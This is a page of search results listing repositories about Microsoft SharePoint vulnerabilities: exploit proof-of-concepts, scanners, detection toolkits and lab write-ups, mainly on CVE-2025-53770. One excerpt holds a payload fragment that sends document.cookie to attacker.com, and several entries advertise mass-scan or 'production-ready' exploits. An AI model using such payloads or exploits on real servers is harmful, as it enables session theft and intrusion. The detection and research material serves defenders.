4134 matches found
bluefire-sharepoint-cve-2025-53770
🔐 Bluefire Redteam – SharePoint CVE-2025-53770 Detection & Remediation Toolkit This open-source toolkit provides security teams with battle-tested scripts to detect, assess, and remediate the critical SharePoint zero-day vulnerability CVE-2025-53770 CVSS 9.8 — currently being exploited in the wil...
CVE-2026-32201-exploit
Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...
CVE-2025-53770
SharePoint ToolPane RCE Exploit Security research toolkit for testing SharePoint ToolPane vulnerabilities Overview • Features • Getting started • Usage • Project structure This repository contains proof-of-concept exploits and analysis tools for the SharePoint ToolPane vulnerability CVE-2025-5377...
CVE-2025-53770-Scanner
CVE-2025-53770 Scanner by DanSec A simple, effective reconnaissance tool to identify potential exposure to the critical SharePoint vulnerability CVE-2025-53770. !Warning This tool is intended for authorised testing purposes only. The author DanSec takes no responsibility for misuse or damage caus...
Sharepoint-cve-2023-29375-incident-response
SOC Incident Analysis: Microsoft SharePoint Server Elevation of Privilege CVE-2023-29375 An in-depth security investigation of a critical exploit and enumeration attempt targeting a Microsoft SharePoint server. Incident Overview Alert Name: SOC227 - Microsoft SharePoint Server Elevation of...
CVE-2025-53770
CVE-2025-53770 SharePoint Deserialization RCE PoC Critical — Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server CVE-2025-53770 Description Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code...
CVE-2026-50522
CVE-2026-50522 Poc : SharePoint Deserialization RCE SharePoint Server Unauthenticated Remote Code Execution via SecurityContextToken Cookie Deserialization Mass-scan exploit for CVE-2026-50522 targeting on-premises Microsoft SharePoint Server. Abuses insecure BinaryFormatter deserialization in th...
presentations
My presentations More things can be found in my personal site: https://sites.google.com/site/zhiniangpeng Exploiting preauth RCE and Sandbox escape vulnerabilities in EXSi, Typhooncon 2023 OLE object are still dangerous today — Exploiting Microsoft Office, POC 2023 Django-Simple-Captcha —...
CVE-2025-53770
CVE-2025-53770 SharePoint Description The deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code remotely and compromise the system. Microsoft is aware of active exploitation and is preparing a comprehensive update. Ensure that mitigations...
Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE
Microsoft SharePoint Server 2016, 2019, Subscription Edition = 2026.3.1 contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint /trust/default.aspx. The SharePoint authentication module SPFederationAuthenticationModuleV2 uses a deflate-only...
CVE-2026-65660-Poc
MS SharePoint CVE-2026-65660 - Malicious Register Directive Code Injection Exploit Description This repository provides a production-ready exploit for CVE-2026-65660 Improper Control of Generation of Code, CWE-94 in Microsoft SharePoint Server. The vulnerability stems from unescaped quote injecti...
CVE-2025-53770
Divine Absolute - CVE-2025-53770 Exploit Tool Overview Divine Absolute is a sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770 , a critical CVSS 9.8 unauthenticated remote code execution RCE vulnerability in on-premises Microsoft SharePoint Server 2016, 2019, Subscription...
sharepoint-2026-poc
SharePoint /trust WS-Federation Deserialization: PoC & Detection Notes Live writeup GitHub Pages: https://sp-poc.wismansec.com/ HTML rendering of this document. Affected: SharePoint Server 2016, 2019, and Subscription Edition. Reconstruction of a SharePoint Server Subscription Edition intrusion i...
sharepoint-toolshell-cve-2025-53770
SharePoint "ToolShell" RCE Exploit CVE-2025-53770 Overview CVE-2025-53770 is a critical remote code execution RCE vulnerability affecting Microsoft SharePoint Server 2016, 2019, and Subscription Edition on-premises only, not SharePoint Online. Attackers can bypass authentication and achieve full...
POC-CVE-2026-56164-exploit
CVE-2026-56164 — Microsoft SharePoint Server Authentication Bypass Exploit Critical CVSS 9.8 — Unauthenticated Privilege Escalation to Farm Administrator in Microsoft SharePoint Server Table of Contents Overview Vulnerability Details Affected Versions Architecture Diagrams Project Structure...
LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell
LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduction I went into a SharePoint zero-day called ToolShell CVE-2025-53770 in the LetsDefend lab. I mimicked a real-world zero-day attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection key...
ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend
ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Yo, in this LetsDefend lab I dove into a SharePoint zero-day called ToolShell CVE-2025-53770. Basically, I mimicked a real-world attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection keys,...
ZeroPoint
ZeroPoint.ps1 ⚠ A defensive PowerShell utility to detect and mitigate exploitation of the CVE-2025-53770 zero-day vulnerability in Microsoft SharePoint Server. 🔍 What it Does This PowerShell script is designed to: Detect compromise indicators, such as suspicious .aspx webshells Parse ULS logs to...
CVE-2023-29357-Check
CVE-2023-29357 Microsoft SharePoint Server Elevate Privilege Vulnerability This script will tell you if the target is vulnerable to CVE-2023-29357 Usage python3 script.py Disclaimer This script is for educational purposes only. Do not use it against targets without prior mutual consent. Reference...